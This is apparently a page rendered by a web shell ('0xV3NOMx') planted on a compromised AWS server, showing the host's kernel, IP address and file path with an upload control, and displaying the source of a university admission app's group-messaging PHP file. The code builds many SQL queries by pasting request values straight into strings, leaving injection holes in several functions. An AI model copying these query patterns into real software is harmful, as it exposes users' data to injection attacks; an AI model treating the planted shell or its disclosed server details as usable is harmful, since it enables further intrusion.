0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.223.238.38


Current Path : /proc/thread-self/root/var/www/html/admission/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/admission/src/groupMessages.php

<?php

function getMessageGroups($aobj_context)
{
  $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

  $user = json_decode($aobj_context->mobj_data["user"]);

  $query = "select ifnull(fgrp,'') as fgrp from logisys3_comexam.masuser
  where fmobileno = '{$user->fmobileno}'";
  $result = $aobj_context->mobj_db->GetRow($query);
  
  if($result['fgrp'] == "") {
    $arr['msg'] = 'No groups found';
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure");
    return;
  }

  $query = "select fgrpid, ftitle from grphead where instr('{$result['fgrp']}', fgrpid) > 0 
          and ifnull(fdeleted,'') <> 'F'";
  $result = $aobj_context->pobj_db->GetAll($query);
  
  if (!$result && gettype($result) == 'boolean') {
    $arr['msg'] = "Error while fetching groups.";
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure");
    return;
  }

  if (count($result) > 0) {
    $res['groups'] = $result;
    echo $aobj_context->mobj_output->ToJSONEnvelope($res, 0, "success");
    return;
  } else {
    $arr['msg'] = 'No groups found';
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure");
    return;
  }
}

function getGroupHeadForEdit($aobj_context)
{
  $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

  $groupid = $aobj_context->mobj_data["groupid"];
  $univcode = $aobj_context->mobj_data["univcode"];

  $query = "select fgrpid, ftitle, fdescpn, ifnull(fexit,'') as fexit, 
  ifnull(date_format(fexpdate, '%d/%m/%Y'),'') as fexpdate,
  ifnull(fsuspend,'') as fsuspend, ifnull(ftwoway,'') as ftwoway, fcreatedby from grphead
  where fgrpid = '{$groupid}'";
  $result = $aobj_context->pobj_db->GetRow($query);

  if (!$result && gettype($result) == 'boolean') {
    $arr['msg'] = "Error while fetching group info.";
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure");
    return;
  }

  if (count($result) > 0) {
    echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "success");
    return;
  } else {
    $arr['msg'] = 'Group info not found';
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure");
    return;
  }
}


function getMessagesForGroup($aobj_context)
{
  $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

  $groupid = $aobj_context->mobj_data["groupid"];
  $univcode = $aobj_context->mobj_data["univcode"];

  $query = "select * from grphead where fgrpid = '{$groupid}'";
  $result = $aobj_context->pobj_db->GetRow($query);

  if (!$result && gettype($result) == 'boolean') {
    $arr['msg'] = "Error while fetching groups.";
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure");
    return;
  }

  if (count($result) > 0) {
    // get all the messages
    $query = "select fmsgid, date_format(fmsgdate, '%d/%m/%Y %h:%i %p') as fdate, fgrpid, fmessage,
    fmsgfrm, ifnull(fattchpath,'') as fattchpath, ifnull(fattchtype,'') as fattchtype
    from grpdetl where fgrpid = '{$groupid}' order by fmsgdate desc";
    $result2 = $aobj_context->pobj_db->GetAll($query);
    $res['head'] = $result;
    $res['msgs'] = $result2;
    // Select all the user names
    $userid = [];
    foreach($result2 as $k => $v ){
      array_push($userid, $v['fmsgfrm']);
    }
    $uniqUserId = array_unique($userid);

    $uniqUserIdStr = implode( "','", $uniqUserId);

    $query = "select fregno, fname from pushstud where fregno in ('{$uniqUserIdStr}') and funivcode = '{$univcode}'";

    // var_dump($query);die();
    $result3 = $aobj_context->mobj_db->GetAll($query);

    $res['users'] = $result3;

    echo $aobj_context->mobj_output->ToJSONEnvelope($res, 0, "success");
    return;
  } else {
    $arr['msg'] = 'No groups found';
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure");
    return;
  }
}

function sendMessage($aobj_context)
{
  $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

  $msg = $aobj_context->req_body['msg'];


  $query = $aobj_context->pobj_db->prepare("insert into grpdetl(fgrpid, fmsgdate, fmessage, fmsgfrm, fattchpath, fattchtype)
  values(?, now(), ?, ?, ?, ? )");
  $bind_vars = array($msg['fgrpid'],$msg['fmessage'], $msg['fmsgfrm'], $msg['fattchpath'],$msg['fattchtype']);
  $result = $aobj_context->pobj_db->Execute($query, $bind_vars);

  if (!$result && gettype($result) == 'boolean') {
    $arr['msg'] = "Error while sending message";
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure");
    return;
  }
 
  if ($result) {
    $arr['msg'] = "Message Sent successfully.";
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success");
    return;
  } else {
    $arr['msg'] = 'No groups found';
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure");
    return;
  }
}

function handleSaveGroup($aobj_context)
{
  $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

  $group = $aobj_context->req_body['group'];
  $user = $aobj_context->req_body['user'];
  // var_dump($group,$user);die();

  if($group['mode'] == "add") {

    $query = $aobj_context->pobj_db->prepare( "insert into grphead(ftitle, fdescpn, fexit, fexpdate,
    fsuspend, ftwoway, fcreatedby, fgrpdate)
    values(?,?,?, date_format(str_to_date('{$group['fexpdate']}', '%d/%m/%Y'), '%Y-%m-%d'),
    ?, ?, ?, now())");

    $bind_vars = array($group['ftitle'], $group['fdescpn'], $group['fexit'], 
    $group['fsuspend'], $group['ftwoway'], $user['fuserid']);

    $result = $aobj_context->pobj_db->Execute($query, $bind_vars);
    // var_dump($query);
  }
  else if($group['mode'] == "edit") {

    $query = "update grphead set ftitle = '{$group['ftitle']}', 
    fdescpn = '{$group['fdescpn']}', fexit = '{$group['fexit']}', 
    fexpdate = date_format(str_to_date('{$group['fexpdate']}', '%d/%m/%Y'), '%Y-%m-%d'),
    fsuspend = '{$group['fsuspend']}', ftwoway = '{$group['ftwoway']}' 
    where fgrpid = '{$group['fgrpid']}'";
    $result = $aobj_context->pobj_db->Execute($query);
  }

  if (!$result && gettype($result) == 'boolean') {
    $arr['msg'] = "Error while sending message";
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure");
    return;
  }
  // var_dump($result);
  if ($result) {
    if($group['mode'] == "edit")
      $arr['msg'] = "Updation Successful.";
    else if($group['mode'] == "add") {
      $arr['fgrpid'] = $aobj_context->pobj_db->insert_Id();
      $query = $aobj_context->mobj_db->prepare("update masuser set 
      fgrp = if(instr(ifnull(fgrp,'*'), ?) > 0, fgrp, concat(ifnull(fgrp,'*'),?)) 
      where fmobileno = ?");
      $result = $aobj_context->mobj_db->Execute($query, array($arr['fgrpid'].'*', $arr['fgrpid'].'*', $user['fmobileno']));
      $arr['msg'] = "Group created successfully. Proceed to add members.";
    }

    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success");
    return;
  } else {
    $arr['msg'] = 'Error while saving group details';
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure");
    return;
  }
}

function getUsersForGroup($aobj_context) {
  $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

  $groupid = $aobj_context->mobj_data["groupid"];
  $univcode = $aobj_context->mobj_data["univcode"];

  $query = "select fregno, fname from pushstud 
  where fregno in (select fregno from logisys3_comexam.masuser where instr(fgrp,'*{$groupid}*') > 0
  and instr(funivcode, '{$univcode}') > 0)
  and instr(funivcode, '{$univcode}') > 0";
  
  $result = $aobj_context->mobj_db->GetAll($query);

  if (count($result) > 0) {
    echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "success");
    return;
  } else {
    $arr['msg'] = 'Group Members not found';
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure");
    return;
  }

}

function deleteGroupMsg($aobj_context) {
  $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
  $univcode = $aobj_context->mobj_data["univcode"];
  $data = json_decode($aobj_context->mobj_data["data"], true);

  $query = "delete from grpdetl where fmsgid='{$data['fmsgid']}' 
            and fgrpid='{$data['fgrpid']}'
            and fmsgfrm='{$data['fmsgfrm']}'";

  $result = $aobj_context->pobj_db->Execute($query);

  if ($result) {
    $arr['msg'] = "Message Deleted";
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success");
    return;
  } else {
    $arr['msg'] = 'Failed to delete message';
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure");
    return;
  }
}

function deleteGrpDet($aobj_context) {
  $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
  $univcode = $aobj_context->mobj_data["univcode"];
  $groupid = $aobj_context->mobj_data["groupid"];

  $query = "delete from grphead where fgrpid='{$groupid}'";

  $result = $aobj_context->pobj_db->Execute($query);

  if ($result) {
    $arr['msg'] = "Message Deleted";
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success");
    return;
  } else {
    $arr['msg'] = 'Failed to delete message';
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure");
    return;
  }

}